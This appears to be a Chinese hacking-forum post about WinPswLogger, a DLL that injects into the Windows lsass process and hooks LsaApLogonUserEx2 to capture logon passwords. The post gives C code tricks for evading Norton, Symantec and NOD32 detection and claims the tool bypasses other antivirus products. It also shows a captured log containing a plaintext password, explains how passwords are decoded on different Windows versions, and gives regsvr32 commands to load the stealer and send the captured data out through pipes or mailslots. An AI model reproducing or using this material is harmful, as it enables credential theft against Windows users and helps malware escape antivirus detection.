WinPswLogger免杀过360提示未能成功,目前没有找到什么好的方法,过其它的杀软方法如下:
诺顿和symantec:
ret = Hijack_LsaApLogonUserEx2(hProc, m_szLogFileName);
strcpy(ParamContent.szOutFormat,
"[%02d/%02d/%d %02d:%02d:%02d]\r\n"
"LoginType: %d, MessageType: %d\r\n" //LogonType -->LoginType
"Domain: %S\r\n"
"User: %S\r\n"
"Password: %S\r\n"
);
/*
char strFormat1[] = {'[','%02d','/','%02d','/','%d',' ','%02d',':', '%02d', ':','%02d',']','\r','\n','\0'};
char strFormat2[] = {'L','o','g','o','n','T','y','p','e', ':',' ','%d',',','M','e','s','s','T','y','p','e',':',' ','%d','\r','\n','\0'};
char strFormat3[] = {'D','o','m','a','i','n',':',' ',' ', ' ',' ','%S','\r','\n','\0'};
char strFormat4[] = {'U','s','e','r',':',' ',' ',' ',' ', ' ',' ','%S','\r','\n','\0'};
char strFormat5[] = {'P','a','s','s','w','o','r','d',':', ' ',' ','%S','\r','\n','\0'};
char strFormat[] = {'[','%02d','/','%02d','/','%d',' ','%02d',':', '%02d', ':','%02d',']','\r','\n','L','o','g','o','n','T','y','p','e', ':',' ','%d',',','M','e','s','s','T','y','p','e',':',' ','%d','\r','\n','D','o','m','a','i','n',':',' ',' ', ' ',' ','%S','\r','\n','U','s','e','r',':',' ',' ',' ',' ', ' ',' ','%S','\r','\n','P','a','s','s','w','o','r','d',':', ' ',' ','%S','\r','\n','\0'};
strcpy(ParamContent.szOutFormat, strFormat);
*/
NOD32:
1、//CredIsProtectedW
char cipStr[] = {'C','r','e','d','I','s', 'P', 'r','o','t','e','c','t','e','d','W','\0'};
2、// ReadProcessMemory
typedef WINBASEAPI BOOL (WINAPI *ReadProcessMemoryT)
(
__in HANDLE hProcess,
__in LPCVOID lpBaseAddress,
__out_bcount_part(nSize, *lpNumberOfBytesRead) LPVOID lpBuffer,
__in SIZE_T nSize,
__out_opt SIZE_T * lpNumberOfBytesRead
);
ReadProcessMemoryT pReadProcessMemory = (ReadProcessMemoryT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ReadProcessMemory");
3、//WriteProcessMemory
typedef WINBASEAPI BOOL(WINAPI *WriteProcessMemoryT)
(
__in HANDLE hProcess,
__in LPVOID lpBaseAddress,
__in_bcount(nSize) LPCVOID lpBuffer,
__in SIZE_T nSize,
__out_opt SIZE_T * lpNumberOfBytesWritten
);
WriteProcessMemoryT pWriteProcessMemory = (WriteProcessMemoryT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"WriteProcessMemory");
卡巴斯基:过
Avria :过
mcafee:过
Avg:过
金山全套:过
360全套表面:过。
********************************************************************************************
[8/23/2011 8:9:45]
LTP: 2, MTP: 2
DMN: MYSQLSERVER
USN: Administrator
PSW: sp@789456
********************************************************************************************
========原理:
windows的身份验证一般最终都是在lsass进程,默认模块是msv1_0.dll,而关键在其导出函数LsaApLogonUserEx2,本程序通过注入代码到lsass进程hook LsaApLogonUserEx2,截取密码。只要有身份验证的过程,LsaApLogonUserEx2就会触发,如ipc$,runsa,3389远程桌面登陆等。
程序对不同系统做了处理,在2000,2003,xp,vista上都可以截取,在2000,2003,xp中,通过UNICODE_STRING.Length 的高8位取xor key,如果密码是编码过的,则通过ntdll.RtlRunDecodeUnicodeString解码,vista则通过AdvApi32.CredIsProtectedW判断密码是否编码过,解码用AdvApi32.CredUnprotectW。
可以自己调试器挂lsass跑一下:)
========接口:
HRESULT WINAPI DllInstall( BOOL bInstall, LPCWSTR pszCmdLine);
这是本dll导出的一个函数原型,请不要被名字蛊惑了,这个程序是绿色的。
这个函数内部并没有做任何自启动安装的动作,没有修改注册表或系统文件。只是想选一个符合regsvr32调用的接口而已。
第一个参数本程序没用到,
第二个参数请指定一个文件路径(注意是UNICODE的),记录到的数据将保存到这里(是Ansi的)。
文件路径可以像这样 C:\x.log,
也可以像\\.\pipe\your_pipename, \\.\mailslot\yourslot,
所以你可以自己写loader来调用这个dll,让dll截取到密码时通过pipe或mailslot将数据发给你的程序。数据就是一个字符串(是Ansi的)
========测试:
你可以不急着写自己的loader来调用,用regsvr32作为loader来测试一下:(你可能需要关闭某些主动防御)
regsvr32 /n /i:c:\xxx.dat c:\xxx.dll
正常的话regsvr32弹出一个提示成功。
这时候你可以切换用户或锁定计算机,然后重新登陆进去,这个过程密码信息就被拦截下来了并保存到c:\xxx.log.
---------------------------------------------------------------------------------------
/s:注册或卸载成功后不显示操作成功的提示框
/u:卸载已安装的控件或DLL文件
/n:不调用DLLRegisterServer,要注意这个参数应与/i一同使用
/i:调用DLLInstall,并给其传递一个可选的[ cmdline ];当使用/u时用来卸载DLL
注册:
regsvr32 /n /i:c:\windows\xxxx.dat c:\windows\system32\xxxx.dll
卸载:
regsvr32 /u winlogon.dll